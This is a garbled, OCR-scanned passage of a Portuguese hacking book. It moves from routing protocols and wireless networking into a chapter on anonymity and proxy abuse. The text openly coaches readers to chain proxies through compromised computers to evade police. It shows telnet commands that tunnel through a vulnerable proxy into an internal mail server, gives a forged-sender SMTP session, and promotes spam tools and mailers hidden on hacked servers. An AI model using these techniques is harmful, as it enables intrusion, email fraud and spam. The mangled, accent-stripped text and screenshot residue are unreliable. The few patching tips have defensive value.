datagrama deve passar, ele o envia para um roteador listado como default
gateway (caminho padro) para de l prosseguir seu caminho.
O protocolo de roteamento age de duas formas , informando o menor
caminho, o que no significa que esse seja o melhor, ou ento informando
o melhor, que nem sempre o menor. Grande parte das vezes, o melhor
caminho o menos congestionado, uma vez que os menores podem estar
lidando com muitas requisies ao mesmo tempo. Dentre os protocolos
de roteamento, ficaremos com os ligados ao TCP/IP, que o mais utiliza-
do, falaremos do OSPF (Open Shortest Path First) e do RIP (Routing
Information Protocol).
OSPF
O OSPF um protocolo abeno que baseado no link utilizado peJo TCPIIP.
Ele capaz de testar o estado dos outros roteadores conectados por meio de
uma mensagem chamada "helio", que enviada para cada um, e se o roteador
contatado estiver funcionando ele retorna uma mensagem positiva; a falta de
resposta significa que o equipamento est fora do ar. Alm disso, tambm pos-
sui o roteamento baseado no tipo de servio, que escolhe a melhor rota para o
datagrama baseado na prioridade do datagrama em questo.
O cabealho OSPF formado poc
Verso - Verso do protocolo;
Tipo - Tipo da mensagem que pode ser: heUo, descrio do banco de dados,
pedido do estado do link, atualizao do estado do link, confinnao do estado
do link;
IP do roteador de origem - Informa o endereo IP do roteador que est
enviando a mensagem;
rea - At em que rea a mensagem se refere (no OSPF as redes podem ser
divididas em reas);
Checksum: Checksum da mensagem;
Tipo de autenticao - Wormaes sobre a senha;
Autenticao - Caso haja senha.
RIP
O RIP faz com que os roteadores enviem suas tabelas de roteamento de 30
em 30 segundos para os outros roteadores, fazendo dessa forma lima atualiza-
Redes II I
Universidade 2 Ano
o constante de suas tabelas baseado nas de outros roteadores. Um dos maio-
res problemas encontrados nesse protocolo que ele defme o caminho a ser
percorrido baseado na distncia at o receptor, sem levar em conta as condi-
es e desempenho da rola a ser percorrida.
As mensagens RlP possuem os seguintes elementos:
Comando - Usado para identificar se a mensagem um pedido ou uma
resposta;
Verso - Informa a verso do protocolo;
Reservado - H diversos campos marcados como reservados , e todos eles
so preenchidos com zeros;
Protocolo - Informa qual foi o protocolo utilizado para gerar o
endereamento;
Endereo IP - Diz qual o IP da rede cuja distncia est sendo informada
atravs da mensagem;
Distncia - Informa a distncia at a rede no campo do endereo IP
Internet
Em 1969, nascia a Internet. Essa pode ser considerada uma das histrias mais
contadas no mundo digital, mas nunca demais relembrar a origem de um dos
grandes frutos da humanidade. A inteno era ligar os laboratrios de pesquisa
norte-americanos da ARPA (Advanced Research Projects Agency), visando es-
tabilidade de todo o sistema caso algo acontecesse a um dos seus tenninais.
Podemos dizer ento que mais um avano da humanidade nasceu ligado s
intenes militares, tudo por causa da guerra fria.
Aos poucos, a rede foi se expandindo para universidades e laboratrios, e
com o tempo acabou ganhando o mundo. No existe um lugar centntl onde a
Internet esteja localizada, so mais de 40 mil redes espalhadas ao redor do
globo, todas elas baseadas no protocolo TCP/lP No foi toa que ele se tornou
to popular, como dissemos antes.
A Rede Mundial de computadores, t:unbm ch .. 'U1lada de WWW(\Vorld\VideWeb),
formada por redes de alta capacidade, que por sua vez e,lo conectadas a compu-
tadores poderosos conhecidos como Backbones, com alta largura de banda.
Discutir os componentes da Internet seria como discutir o prprio protoco-
lo TCP/IP, e j que o estudamos no captulo Redes I, aconselhamos o leitor a dar
uma olhada em termos como FTP, I-I1TP, DNS, entre outros que l esto descri-
tos. Esses so os temIOS mais usados na grande Rede.
Sub-Redes
Uma rede baseada em TCP/lP pode ser dividida em redes menores para que
haja a possibilidade de criar domnios de difuso menores, e assim utilizar
melhor os recursos disponveis. Elas so conhecidas como sub-redes ou redes
1179 1
[ Redes II
1 Universidade H4CK3R I
1180 I
segmentadas. Essas redes se utilizam apenas de um roteador IP Sendo assim,
cada sub possui apenas uma identificao. A rede teria um nmero flxo de
como 192.168.10.0, e todas as mquinas compreendidas dentro dela teriam
IPs baseados nesse nmero, por exemplo:
IP da rede: 192.168.10.0
IPsintemos: 192.168.10.1, 192.168.10.2, 192.168.10.3 ...
Alm disso, as mscaras de sub-rede foram criadas para auxiliar na identifica
o das mquinas na rede. Voc pode encontrar mais informaes sobre elas
no captulo de Redes I, em TCP/lP
Redes Wireless
Rdio
Sistema utilizado primordialmente em redes pblicas, dada a falta de seguran-
a em suas transmisses. necessrio que antenas estejam instaladas dentro do
alcance de transmisso, mas nada impede algum (hackers, talvez) de instalar
uma antena para a captao desses dados, que, se no estiverem criptografados
adequadamente, podero ser utilizados para outros fins que no os esperados.
Uma de suas g .. mdes vantagens que sua operao feita na freqncia de
2,4 GHz, considerada de uso pblico, e dessa fonna no h necessidade de
autorizao de rgos governamentais para sua utilizao.
Uma outra fonna de transmisso de dados por rdio conhecida como trans-
misso direcional. Ela feita por meio de antenas parablicas, mas estas devem
estar bem alinhadas, pois qualquer obstculo ou desvio pode compromeler
seriamente a conexo.
IEEE 802.11
Foi o padro criado para sanar o problema da falta de padronizao existen-
te entre os fabricantes de tecnologia de rdio, pois no havia compatibilidade
entre os diferentes produtos, impedindo assim a comunicao entre as redes.
Ele utiliza um esquema conhecido como Carrier Sense Multiple Access Wilh
Collision Avoidance O transmissor faz um teste inicial e logo em
seguida sincroniza as mquinas para que no haja conflitos ou colises na
transmisso dos dados.
Infravermelho
A utiHzao do iJravenneUlO para a comunicao sem fio tem sua aplicao
voltada mais para redes locais.' Seu alcance est restrito a um ambiente peque-
no e totalmente sem obstculos, pois o espectro de luz no pode atravess-los.
Redes II I
Universidade 2Ano
Bluetooth
o Bluetooth considerado como uma rede sem fio de baixo CUSlO, mas que
infelizmente possui baixo alcance. Sua propagao feita a partir de sinais de
rdio de alta freqncia e sua versatilidade permite a conexo de vrios apare-
lhos que vo desde eletrodomsticos at laptops. Essa tecnologia foi criada a
partir da iniciativa da Encsson Mobile Communication, em 1994, para t::xplo-
rar a capacidade da interface de rdio em seus aparelhos. Em 1998 nasceu o
SIG (BluelOoth Special Interest Group). O sistema utiliza uma freqncia de
at 2,4 GHz, com uma taxa de transmisso de aproximadamente 1 Mbps, com
distncia mxima de dez metros.
GSM
O Global System for Mobile Communications um padro para telefonia de
arquitetura aberta mvel utilizado na Europa e que j est se espalhando pelo
mundo. Ele opera na freqncia de 900 MHz, especificada pelo European
Telecommunications Standards Institute (ETSI). Atualmente, a tecnologia em-
prt::gada j est na sua terceira gerao, a qual veremos a seguir:
2.5G
Nvel intermedirio entre a 2G e a 3G, permite a conexo de banda larga com
celulares e PDAs. Alm disso, oferece uma gama de servios que tornaram esta
tecnologia muito mais atrativa, como mensagens de texlO instantneas e servi-
os de localizao.
3G
Terccird gerao da tecnologia GSM. Suas aplicaes esto voltadas para o
acesso direlO Internet com banda larga, transformando assim o telefone m-
vel em uma plataforma completa para a obteno de dados e servios na
Internet; alm disso, h estudos sobre sua utilizao para comrcio mvel. Isso
significa efetuar compras em mquinas automticas e lojas utilizando o apare-
lho celular. Pode operar em freqncias de 1,9 GHz a 2,1 GHz.
WiFi
WiFi a abreviatura para o termo Wireless Fidelity, da WECA (Wireless
Ethernet Compatibility Alliance), que utiliza O protocolo conhecido como IEEE
802.Ilb.
1181 1
I Redes II
Vulnerabilidades
Captulo
"Des gens esc/aves, chansons, chants &
requestes, Captfs par Princes, &
Seigneurs aux prisons. A ! 'advenir par
Idiots sans testes,
Seront receus par divins ora/sons ': I
Nostradamus, Centria I, 14
a
quadra, aprox. 1555
I 1)0 pon) t:!;crJ.'iz,uJo, can(ks, Canms c pcnJ;dOS/Cacin . por n n d p < ~
e lordes tI;!S prises: / No fururo. por lais idiolas acfalos / Esses ( perdidos)
scriio rom"dos (.'omo Or.lCS divinas.
I Universidade H4CK3R I
11841
medida que evolumos em nossos estudos sobre as fmquczas dos sistemas
de infomlao, tomamo-nos mais ousados e confiantes. Este livro, mimetizado
em curso superior, foi estrutumdo pam que qualquer pessoa com conhecimen-
to bsico em informtica pudesse chegar a entender alguma coisa sobre segu-
mna e redes. Por isso mesmo, at aqui, o leitor foi tr::nado quase que como um
leigo. ?-dm no os leitores com conhecimentos tcnicos mais avana
dos, colocamos no CD todas as matrias que normalmente seriam consider.tdas
pr-requisito para entendimento do que realmente interessa. As matrias consi-
demdas diretamente ligadas com hackerismo (invas.1.o, engenharia social , etc.)
ficamm no livro impresso. A partir de agom, considemremos que os conceitos
esto assimilados ("matria dada") e passaremos a tpicos mais "pesados".
Vejamos o que temos at agom. Falando diretamente sobre hackers e inVd-
ses, tivemos os seguintes captulos:
Captulo Zero - Aula Inauguml - Uma introduo ao ambiente normal-
mente chamado de hacker space ou digital underground.
Captulo 1 - Psicologia Hacker - Um pouco do modo de pensar dos ha-
bitantes desse mundo.
Captulo 5 - Fundamentos Jurdicos - Consideraes legais sobre
informtica
Captulo 6 - Engenharia Social - Obtendo informaes ANTES de ligar o
computador.
Captulo 7 - Vulnerabilidades I - Agindo como script kiddies e invadin
do computadores pessoais.
Com tudo o que vimos at este captulo, podemos dizer que j nos igualamos
ii grande multido de script kiddies espalhados pelo globo. O leitor deve ter
notado que, em vez de falar de dezenas de ferramentas e explicar como cada
uma funciona, tentamos mostrar o modo como os kiddies trabalham e os locais
onde se pode encontrar tais ferramentas.
Novamente advertimos: nenhum livro, CD-ROM, FAQ ou site na Internet ensi
nar algum a ser hacker. um processo que requer estudo, pacincia, persis-
tncia e abnegao. No presente captulo, veremos mais algumas tcnicas usa-
das pelos script kiddies, desta vez focando sites na Internet ou redes e
corpor.ttivos. Mas ao contr.hio dos kiddies, voc saberil exatamente o que est:l
fazendo, baseado nos conhecimentos adquiridos anteriormente. Olllra coisa que
poder ser notada: ferramentas de Mhacking
H
para Windows 9x so meros brin-
quedos. medida que as cois<ls vo ficando srias, apenas sistemas mais pamldos
como o Windows NT ou o Unix possuem condies de servir de base par.I
ataques, especialmeme este ltimo.
Vulnerabilidades II I
Universidade 2 Ano
Em caso de dvida, recomendamos uma releitura dos captulos anteriores,
incluindo a execuo das experincias mostradas. O qu? Voc no fez nenhu-
ma experincia prtica? Ora! Pare a leitura do livro por aqui s volte quando
tenninar a lio de casa!
Navegando anonimamente
Os proxies fazem mais do que servirem de nrewall e cache para redes inter-
nas acessarem Internet. Um computador atrs de um proxy fica totalmente
escondido, e seu nmero IP no revelado. Para o computador que recebe a
conexo, o IP de origem dos pacotes que chegam todo do proxy.
Se um hacker conseguir acesso a um proxy qualquer para navegar na Internet
seus passos estaro cobertos. Esse proxy pode ser um servio pblico - h
diversos proxies pblicos na Internet, alguns gratuitos, mas a maioria paga.
Pode ser tambm algum proxy particular que esteja mal configurado e aceitan-
do rday de toda a Internet. Mesmo bem configurado, h falhas em alguns
softwares que permitem que hackers usem proxies alheios como escudo.
O outro lado da moeda tambm vlido. Um proxy um servio aberto em
uma porta TCP e, portanto, est sujeito a falhas. Um servio de proxy pode ser
a porta de entrada para a invaso da mquina e comprometimento de outros
servios antes "saudveis".
Proxies pblicos
Uma das fonnas de navegar sossegado pela Internet sem ser molestado utilizar-
se de mo servidor pblico de proxy. Atrs desse servidor, seu ll) fica invisvel para
todos os sites da Internet: voc est a salvo dos vendedores de enciclopdias, dos
colccionadores de cookies e das investigaes do governo. Hackers que estejam
tentando atingi-lo tero apenas o lP do proxy. Como tod1 tecnologia pode tambm
ser usada para o mal, voc pode esconder-se atrs do proxy para originar ataques,
que sedo registrados nos logs da vtima com um IP diferente do seu. A conexo
entre voc e o proxy pode ser criptografada com SSL - nornla1mente por meio de
um Secure SheU ou SSH - e a maioria dos servidores garante que suas atividades
no sedo registradas ou suas infonnaes redirecionadas a empresas que patroci-
nam o proxy. Parece seguro, no? Nem tanto.
Bem ou mal, o prprio proxy tem infonnaes a seu respeito. Mesmo que
haja proxies pblicos garantindo que voc no ser rastreado nem registrado
nos logs do servidor, alguns deles podem estar mentindo. Se voc causar algum
estrago na Internet, cedo ou tarde ser rastreado at o proxy. Basta um manda-
do judicial para que o responsvel pelo servidor abrd seus registros Polcia
Federal . Ser preso seria questo de horas.
H vrias maneiras de tentar driblar esse inconveniente. A primeira uma
tcnica chamada daisy-chain proxying invade-se um computador sem impor-
tncia, que usado para invadir um segundo, que usado para invadir um
1185 1
I VuLnerabi li dades II
I Universidade H4CK3R I
1186 1
terceiro. Entre cada um desses computadores usa-se um proxy, aumentando o
nmero de hosts intermedirios pam seis ou mais e impondo uma dificuldade
extm para os investigadores, que tero de vasculhar nos registros de vrios
proxies at determinar a origem de cada um dos estgios. A vantagem desse
mtodo que independente de plataforma: voc pode usar mquinas Unix,
Windows, Mac ou quaJquer outm que possua conectividade compavel com o
servio proxy. Lembre-se de usar servidores diferentes c, preferencialmente,
geograficamel1te distantes. Se voc estiver no Bmsil e quer invadir um sistema
nos Estados Unidos, seu primeiro proxy pode estar na Austrlia, o segundo no
Brasil mesmo e O terceiro na Europa. Incluir o Bmsil na lista de proxies utiliza-
dos um pam confundir o investigador, que normalmente descar-
ta a possibilidade de O atacante estar no mesmo pas do proxy investigado
("Ningum seria to burro ... ").
Alguns endereos de proxies pblicos:
www.publicproxyservers.com/
www.stayinvisible.com/
tools. rosinstrumen t. com/proxyJ
www.antiproxy.com/
netspy. ukmack.net/
E, obviamente, seu buscador de internet favorito (Googlc, AlI the Web), com
as palavras chave pode cuspir centenas de listas de servidores
pblicos disponveis. Instrues para configurar seu browser para utili7..ar um
desses servios podem ser encontrdas na Ajuda dos prprios programas. Obser-
ve que h proxies par servios determinados, normalmente HTfP, Ffp e c-mail.
Se voc pretende usar um deles para um portscan ou mesmo um ataque, deve
antes disfarar os pacotes TCP/IP de seu ataque para que se paream com o
servio suportado e se passem pelo proxy.
Outra maneira de reforar o anonimato na Grande Rede, mais simples, mas
menos efetiva, usar programas que escolhem automaticamente o proxy de
uma lista e conectam-se a eles. Cada vez que o progrma ativado, um servidor
escolliido aleatoriamente ou obedecendo a critrios predefm..idos. Alguns mais
avanados so capazes de alternar entre proxies de tempos em tempos, pulve-
rizando os rastros. O browser deve ser configurado para acessar o programa,
que roda no endereo de loopback ("Iocalhost" oU L27.0.0.1), e deixar que o
programa cuide de encontrr um proxy seguro.
Um bom servio pago de proxy assistido por um programa-cliente o
Anonymizer (www.anonymizer.com).A verso mais bsica do servio custava,
em maro de 2003, US$ 49,90 mais impostos, e estava disponvel apenas para
Windows. Entre os recursos oferecidos, alm do proxy aLeatrio com servi-
dores pblicos, esto a criptografia de URLs, gerenciamento de cookies,
VuLnerabiLidades II I
Universidade 2
0
Ano
bloqueio do web bug, apaga-
mento automtico do histri-
co de pginas visitad."1S e uma
barra de ferramentas para o
Internet Explorer 6.
Alm dele, podemos destacar
o Anonymity 4 proxy
inetprivacy.com/a4 proxy/).
Disponvel para lOdas as ver-
ses do Windows, possui uma
lista muito grande de proxies
pblicos , e faz o geren-
ciamento de conexes a todos
eles. Possui diversas opes

.....- ....... c-l ....... -..I __ I ... __ l
... _I f __ 1Z
.,; . ::ui ll1'l4m EIJ '*"',._._ ... ""-1 00J01!o
Q. 2(I"""'" .. ,,""""-___ co .. DJJII2. .
ml421l1.2 1128 '*"'1.='-"'_ COlo! OOJO//O
g. 201.2C<2.& II) '*"'1. ___ COlo! trJ!O]/O
O.2OI.2C<2.5 1128 '*"', ___ COlo! OOJO//O
!li _'o5OOJ_ ... HEI OOJO//O
. iJl _. __ .. ", us OOJO//O
g. !li _1 .....
201 1"'" .. . ,,,.,
20<.311'1733 00 2O<JII.,I7 )3
_ :lW23 'j"1 .' 1)(lI(J Hl.c-'....... Nl: l =
' .. 1_ 21llOl(;sl -_. ffi =
r--._ - ...
que permitem associar zonas da Internet ou sites especficos a um ou mais
servidores de proxy, anlise do trfego e protocolos associados e
compartilhamento da conexo com uma rede local.
Outro digno de nota o Stealther, um software que oferece a possibilidade
de utilizar uma matriz de proxies pblicos para automatizar o daisy-chain.
G: Versroll 2.5 U .... eg".tered Ill!!llil E!
O Stealther pode ser encontrado em (www.photonosoftware.com/Stealther/
mai n. p hp 3 ? lan guage-eng&rese lIer- 982 4).
P'"J.ra a turma do Free Software existe o JAl) - Java Anonymity and Privacy.
Como escrito em Java, funciona nas mais diversas platafonnas que suportam
essa Unguagem, incluindo Unix, Macintosh, OS/2 e Wmdows. O software pode
ser baixado em anon.inftu-dresden.del (o site est em alemo).
11871
I Vul nera bi li dades II
I Universidade H4CK3R I
1188 I
."
_'--".0'_1
-- 1
1;- _ 111111111111 ,
1.: ==.-::.,.. :
.. ........ -- --
. . ....
:6 __ ,
-
o pessoal do Unix no foi esquecido. O
ProxyTools (proxytools.sourceforge.neO
um conjunto de ferramentas para desktop
e servidor que tambm permite navegar
anonimamente na Internet usando proxies
annimos. Ele foi especialmente desenvol-
vido para auxiliar os intemautas de pases
que aplicam a censura na Intemet, como
China, Burma e os pases islmicos (e, mais
recentemente, os Estados Unidos da Amri-
f
AAI .... _ .. _ d d
ro am exatamente a maneira que os ou-
--
ca). As ferramentas para mquinas-cliente
tros softwares listados acima: procuram e
.. =. =!l. encontram servidores proxy pblicos. H
ainda um daemon que pode rodar em um servidor Unix e desempenha a fim-
o de dos Dessa forma, o cliente no precisa ter nada instala-
do em seu computador, fugindo de batidas policiais e, principalmente, das
dunssimas penas aplicadas aos infratores das leis de censura. Em alguns pa-
ses, essas penas podem incluir a execuo do infrJ.tor.
Outras ferramemas similares para Unix so o Bouncer (www.rOOt3d,org.uk)
e o ProxyFloppy (www.nameless.cultists.org).
Apesar de ser mais seguro que navegar de peito aberto, cuidado com os
proxies, especialmente os pblicos! Alguns so armadilhas da polcia, outros
so por natureza inseguros e pode haver, inclusive, servidores maliciosos, man-
tidos por crackers, para rastrear script kiddies e internautas incautos, visando
a uslos (principalmeme seus IPs) como laranjas em ataques de spoofing. Por
isso mesmo, hackers experientes preferem invadir uma rede sem importncia
(pequenas empresas, escolas ou universidades) para usar seu proxy. Ou valer-
se de proxies mal configurados solta pela Imernet.
Proxies privados
H diversas maneiras de invadir uma mquina rodando algum programa de proxy
e faz-Ia esconder-se da lnternel. O mtodo para cada tipo de proxy depende de
sua verso e do sistema operacional no qual roda. Mas h algumas vulnerabilidades
que fimcionam em qualquer platafonna, pois so inerentes tecnologia e no
implementao da tecnologia por um determinado desenvolvedor.
Um desses casos o TCP 1\ltmel, uma maneira de encapsular pacotes TCP
dentro de outros para transport-los a salvo pela Internet. Essa tecnologia
muito usada para criar VPNs, ou redes privadas virtuais. Mas uma falha na
tecnologia pode dar a hackers espertos um proxy improvisado. Essa
vulnerabilidade realmente antiga. Veja o que diz o FAQ do software Squid
(www.sQlld-ache.org/DocIfAOIfAQ-l. htmD.noitem 1.12:
Vulnerabilidades III
Universidade 2 Ano
"Desde a verso 2.5, o Squid suporta conexes SSL e trfego "tune/ado " entre
clientes e servidores. Neste caso, o Squid pode fazer um relay dos bits
criptografados entre as duas extremidades J,l conexo.
Nonnanente, quando seu browser encontra uma URL https, executa um,/
das duas aes ab:,ixo:
1 O browser abre uma conexo SSL direta com o servidor https;
2 O browser solicita a abertura de um tne/ IP atravs do Squid usando o
mtodo CONNECT.
O mtodo CONNECI' uma forma de tune/ar qualquer conexo que passe
por um proxy de HTTP. O proxy no interpreta ou entende o contedo que
esc sendo tune/ado, apemls o repassa entre as duas mquinas envolvid:ls na
conexio. p...ua mais detalhes sobre tune/amento e o mtodo CONNECT, veja o
imernec drafc "TunneJing TCP based protocols chrough web proxy servers "
(www. webache.com/Writingsllnterner-Dr:Jfts/dnJft-luotonen-web-proxy-
tunne/ing-Ql .cxO e a RFC28l7 (fip:/l flp.isi .edu/in-notes/rfc281 Z.txO. "
Veja a seguinte frase, retirada desse trecho do FAQ: pro:xy no interpreta ou
entende o contedo que est sendo tunelado, apenas o repassa entre as duas
mquinas envolvid1s na Isso quer dizer que o pro:xy sequer verifica se
os dados esto criplOgrafados ou no. Portanto, pode-se explorar essa
vulnerabilidade simplesmente usando o mlodo CONNECf para conectar-se a
um servidor, que pode ser tanto uma mquina na Internet como um servidor em
sua Intranet! Lembre-sc de que o proxy pode estar rodando na mquina gateway,
que possui duas intetfaces de rede (lima para a rede interna e outra para a rede
externa). Tomando posse do pro:xy, o invasor tem acesso rede interna, mesmo
que ela seja implementada com IPs reservados como 10.0.0.0. ou 192.168.0.0!!!
Que tal um exemplo prtico? Em um proxy vulnervel, nos conectaremos a
um servidor de e-mail interno e o usaremos como remailer. Considere as se-
guintes informaes:
IP do atacante: 200.230.xx:x.yyy
Proxy vulnervel da vtima: 64. 13l.aaa.bbb, "escutando" na porta 3128
Servidor SMTP interno da vtima: 192.168.1.11
Conecle-se ao proxy usando o velho e bom telnet (o exemplo usa o shell do
Unix, mas pode ser feito no Windows sem problemas, com emuladores de ter-
minai e telnet como o TeraTerm ou mesmo o HyperTerminal, que vem "de brin-
de" com o 50):
$ te1net 64.131.aaa.bbb 3128
Uma vez conectado, digite o seguinle comando:
CONNECT 192.168.1.11:25 / HTTP/1.0
Se, como resposta, aparecer o banner do servidor, voc pode emitir coman-
dos para enviar seus e-mails annimos (veja a prxima seo,
remailers", ainda neste captulo). NOle que SMTP foi usado aqui apenas como
exemplo. Voc pode usar o mtodo CONNECf para qualquer servio: POp, FTP,
1189 1
I VulnerabiLidades II
I Universidade H4CK3R I
190 I
H1TP, 5MB/CIFS, Telnet novamente ... Note ainda que, tunelando vrios proxies
em cadeia, possvel colocar vrios nveis de proxying cm seus ataques.
A correo para este problema to simples quanto bvia: desligue o TCP
1\umcling no seu proxy. Se o ttmelamento for absolutamente necessrio, no deixe
seu proxy conectado dirctamente Internet. Instale-o em outra mquina e coloque-
o atrs do firewall. Restringir as portas pelas quais se pode fazer o tunelamento,
deixando apenas as que realmente sero usadas, tambm tuna boa sada.
Squid
O Squid, proxy server nmero um para amantes do Unix e do Software Livre,
tambm tem suas mazelas. Sites com Squid e regras de ftrewalls mal configura-
dos so um prato cheio pam quem est procumndo anonimato. Mas mesmo
sistemas perfeitamente configurados (e indiscutivelmente seguros do ponto de
vista do administrador) podem estar frgeis a ataques. Uma vulnerabilidade
recente (lwn.netlVulnerabilities/4336) permite diversos ataques, entre eles:
Problemas com O protocolo Gopher permitem que menus malformados
causem problemas de segurana;
Os dois canais de comunicao FTP pennitem que dados sejam extrados
ou inseridos, podendo forar o download de arquivos arbitrrios ou a execu-
o de comandos no servidor;
Falha na autenticao permite que usurios no cadastrados utilizem o proxy.
As trs falhas poderiam ser usadas para, alm da invaso do servidor no qual
o Squid estivesse rodando, forar o proxy a fazer relay de IPs no autorizados.
Exploits podem ser encontrJ.dos no Security Focus (www.securityfocus.com).
A correo simples: atuatize seu Squid para a verso 2.4.STABLE 7 ou superi-
or. Mas como os administmdores de rede por a so preguiosos (e a falha
relativamente nova, de novembro de 2002), possvel que voc encontre, por
muitos anos ainda, Squids com verses vulnerveis.
WinGale
O WinGate foi lanado em 1995 como um compartilhador de Internet para
redes domsticas. Simula um proxy/gateway por IP Masquerade e, pelo seu
preo baixo, foi muito popular nos EUA. Apesar de ser um produto j velhinho,
muita gente ainda o usa para compartilhar sua conexo de Internet com aS
mquinas de uma pequena rede. H diversas maneiras de tirar algumas verses
amigas do WinGate do ar. Uma das mais conhecidas conectar-se (com telnet,
por exemplo) porta 2080 e enviar alguns quilobytes de dados quaisquer.
Mas o interessante Que algumas verses do WinGate mal configuradas per-
mitem que ele seja usado como proxy annimo. Se voc roda um desses, est
arriscado a emprestar o SEU lP para que script kiddies ataquem o Pentgono.
Encontmr exploits para o WinGate muito fcil. Use seu mecanismo de busca
Vulnerabilidades II I
Universidade 2 Ano
favorito c procure por Tenha em meme que muitos desses
scanners podem ser armadilhas par.!. pegar SCripl kiddies e, portanto, conter
vn.s e trojans - atualize seu amivnls!!!
A correo pllr.t isso bem fcil. Se voc insistir em usar Windows, faa um
upgrade do WinGate Cwww.wjngate.com) ou use outro software, como o
WinProxy Cwww.winproxy.com). As verses mais novas do Windows possuem
o Internet Connection Sharing, que dispensa O uso de progmmas externos, Mas
o prprio ICS , em si, inseguro, emo recomendamos que instale um frrewall
pessoal como o ZoneA1arm Cwww.zone;!.larm.com) ou compre por uns troca-
dos uma sucata de 386 (funcionando, obviamente) com pelo menos 8 Mbytes
de RAM e sem nenhum HO. Nela, instale algum galeway+fLTewaJJ bas<---ado em
Linux ou FreeBSO. Boas pedidas so o Coyole Linux (www.coyotelinux.con, o
Trinux (trinux.soureforge.net) e o FreeSCO (www.frccsco,ocg).A sucata de
386 custar mais barato que as licenas de WinGate, WinProxy ou do Windows
com ICS e Zone Alarm.Alm disso, se bem configurJ,da funcionar melhor, ser
mllS segura e deixar.1 seu micro de trabalho com menos porcarias instaladas.
Anonymous remaiLers
Uma das coisas mais chatas que existem (depois dos vendedores de enciclo-
pdia, dos pop-ups em web sites e dos representlmtes tcnicos de grandes
softwarehouses, insislindo para que voc use o canssimo programa deles, e
no aquele grJ,tuito que faz a mesma coisa) o spam. Todos ns recebemos,
diariamente, dezenas ou mesmo centenas de mensllgens indesejadas nos ofere
cendo de tudo, de sexo a cera colorida pam automveis, de panelas ultra-mo-
dernas a consolidao de dvidas. Em um primeiro momento, fcil configurar
um cliente de e-mail como O Outlook ou o Eudora para, no campo das
mensagens enviadas, apresentar um endereo difereme do seu.
Mas esse artificio logo descoberto, pois no cabealho do e-mail (os dados
que vm antes de sua mensagem, e que normalmente no aparecem) ficam
registrados seu e-mail verdadeiro, o endereo de seu servidor SMTP e at o
nome do programa que voc usou, 1),J,ra enviar spam sossegado (ou um cavalo
de tria) voc tem, ento, duas opes:
Encontrar servidores de SM'J'P que estejam abenos para relay eX1erno, ou
seja, que aceitem conexes vindas de qualquer canto da Internet. Acredite, eles
so bem comuns ...
Utilizar um software ou site que reenvie seus emaUs sem revelar a origem.
Em servidores SMTP desprotegidos, voc pode configurar seu cliente de
e-mail para conectar-se a ele, mas isso poderia deixar muitos rdstros. Uma boa
tcnica usar O velho e bom tc1net para tal. Depois de encontrar um servidor
de e-mai l aberto ao grande pblico, d um telnet a ele na pona 25:
$ telnet IP , DO.SMTP , ABERTQ 25
1191 1
I Vulnerabi lidades II
I Universidade H4CK3R I
11921
No prompt que aparecer, voc deve digitar os comandos que, normalmente,
seu programa de e-mail enviaria ao servidor - sim, eles esto em texto puro!
HELO servidor . aberto . com
MAIL FROM: ma i l f also@ser vidor . aberto . com
RCPT TO : pr@presidencia . gov . br
DATA
Date : Thu , 31 Dec 1998 12 :16 : 35 - 0500 (EST)
From: mai1falso@servidor . aberto . com (Um brasileiro resoluto)
To : pr@presidencia . gov . br
Subject : Programa de Governo
Reply-To : mailfa1so@servidor . aberto . com
Ei ! Quando vocs vo comear a cumprir o programa de
governo, hein?
QUIT
AlglUlS sistemas, mesmo abertos para relay externo, so imlUles a esse procedi-
mento. Voc conseguir enviar o e-mail, mas no ser permitido a rt-"'Speito
de seu endereo. Enviar um e-mail a voc mesmo um bom teste, mas no esquea
de verificar os cabealhos! O que ocorre que servidores de SMTP mais novos
verificaro sua identidade com o servio idemd (que tenta identific-lo remotamen-
te). Nesses casos, necessrio "enganar" o identd primeiro, para depois U&1.r o
SMTP aberto. No tenha preguia de completar todos os campos mostrados. As-
sim, sua mensagem ficar mais parecida com luna mensagem real. Para mais infor-
maes sobre o funcionamento do protocolo SMTP, leia as RFCs 822 e 931.
H diversos sites que enviam e-mails annimos. Mesmo grandes sites de hospe-
dagem gratuita e mecanismos de busca (como o Lycos: members.lycos.frl
moiaptoiLmail.php) possuem pginas especiais par.!. enviar e-mails com mensa-
gens ou e-cards aos seus amigos - ferramenta que, na mo de um hacker, lOrna-se
uma arma. Uma rpida pesquisa no Google retomou vrios exemplos de web
anonymous mailers. Separamos, dentre as centenas mostradas, estes cinco:
www.gilc.orglspeech/anonymous/remailer.html
Canclub , etoy. c 3 . h u/tanksystem/undergro und-tank/resistancel
mailerform.html
judsonalumni.comL1cyelS
www.emailanonyme.fr.sl
mailer.us.tf
<= Um site de estudantes!
Voc pode ainda invadir um servidor qualquer na Internet e implememar
l, sem que ningum saiba, seu prprio Mailer. Um exemplo de cdigo (em
PHP) pode ser visto em http://www. pscode .com/vb/scripts/
ShowCode ,asp?txtCodeId-953&lngWld-S.
H pilhas de softwares que automatizam o processo de enviar toneladas de e
mails para milhares de endereos, incluindo a implementar seu prprio servi
dor SMTP domsticO ou varrer a Internet atrs de servidores podres. Se voc
Vulnerabilidades II I
Universidade 2 Ano
usa Unix e tem conexo direta com a Internet, pode instalar um servidor com-
pleto de SMTP em sua mquina, configur-lo para um domnio fictcio qualquer
e mandar brdsa! Alguns provedores bloqueiam servidores SMTP em seus assi-
nantes, mas nada que um proxy pblico no resolva .. .
H diversas opes disponveis, sendo o Qmail, Postfix e o veterano Sendmail
as mais conhecidas. Em um refinamento desse processo, podem-se utilizar ser-
vidores de listas de discusso para automatizar a entrega a muitos destinatri-
os. Entre os servidores de listas mais comuns encontram-se o Majordomo, o
Exim e o GNU Mailman. Para alimemar os servidores de listas, basta criar uma
lista de distribuio e cadastrdr, aos poucos, endereos colecionados pela Internet.
H scripts como o Buik Mailer (ftp://cs.utk.eduLpubLmooreibulk mailerO que
facilitam a tarefa ainda mais. Uma procura no Google j seria suficieme para
comear, mas no h necessidade: voc pode, simplesmente, copiar e colar a
partir daqueles e-mails de corrente e mensagens de fim de ano que se costuma
receber e que normalmente vm repletos de endereos nos campos "Para" e
"CC". Se voc inimigo do spam, uma dica: ao reenviar mensagens, use sempre
o campo "Cpia Oculta" ou BCC,
No lado do cliente, ainda possvel enviar e-mails annimos sem invadir ser-
vidor algum. Tenha em mente que, apesar de ser uma soluo mais simples,
perigosamente fcil de ser rastreada. Alguns programas (pagos) para Windows
que fazem isso so:
Send-Safe: www.send-safe.com
Bulker: bulker. us
No CD, h alguns outros programas gratuitos que prometem cumprir o pro-
metido: enviar e-mails annimos a um grande nmero de pessoas. Teste todos.
Mas no se prenda facilidade de um script , como diria a hackergirl Melpneme.
